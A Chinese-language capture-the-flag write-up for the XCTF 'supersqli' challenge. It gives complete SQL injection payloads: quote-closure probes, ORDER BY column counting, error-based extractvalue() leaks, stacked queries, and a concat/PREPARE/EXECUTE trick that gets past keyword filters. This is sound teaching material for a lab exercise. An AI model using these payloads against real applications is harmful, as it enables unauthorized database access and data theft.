XCTF高手進階區 web5_supersqli writeup(新)

web5_supersqli

原題鏈接

key:報錯函數+SQL堆疊注入+命令拼接

 

①題目打開後是這個樣子的👇

再根據題目描述👇

大概率是道SQL注入題

 

②像bkctf裏的那道SQL注入題一樣

先把默認的inject=1提交一下

提交inject=1'回顯錯誤,猜測是單引號閉合

提交inject=1'#回顯正常,說明是單引號閉合

 

③一樣的操作,用order by判斷聯合注入的字段數

提交inject=1' order by 2#,回顯正常

提交inject=1' order by 3#,回顯錯誤

說明字段數是2

 

④然後就可以試試能不能進行聯合查詢注入了

提交inject=1' union select 1,2#後返回了這玩意👇

顯然是正則表達式preg_match()過濾了select等關鍵語句

這樣就無法進行查數據了,而且這裏的/i就是忽略了大小寫,所以大小寫繞過也沒用

又試了試雙寫繞過,結果還是一樣,orz

 

⑤去網上查了查別的思路

可以先通過報錯函數,把數據庫給注入出來

提交一下👇

1' and extractvalue(1,concat(1,version()))#

可知版本信息:.18-MariaDB

提交👇

-1' and extractvalue(1,concat(1,database()))#

數據庫名稱:supersqli

 

⑥經過測試發現這裏可以執行多條語句,也就是堆疊注入

查一下這個數據庫有多少表👇

1';use supersqli;show tables#

第一張表:words,第二張表:words1

查詢表words的列名👇

1';show columns from`words`;#

 

⑦如何在被禁用select等語句的情況下完成爆字段?

我們可以選擇執行字符串拼接後的指令👇

1';use supersqli;set @sql=concat('s','elect `id` from `words`');prepare sql_query from @sql;execute sql_query;#

字符串爲表名操作時要加反引號,即數字鍵盤1的左邊按鍵

發現還有一層strstr()過濾,但strstr()不能區分大小寫,大寫或者混寫一下就可以了👇

1';use supersqli;set @sql=concat('s','elect `id` from `words`');PREPARE sql_query FROM @sql;EXECUTE sql_query;#

知識補充

mysql中Prepare、execute、deallocate的使用方法

簡單點說,這裏@是定義一個用戶自定義變量的意思

PREPARE是預處理,這裏預處理語句必須大寫

格式就是PREPARE sql_query from @sql_query;execute sql_query;

回顯頁面得到flag

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章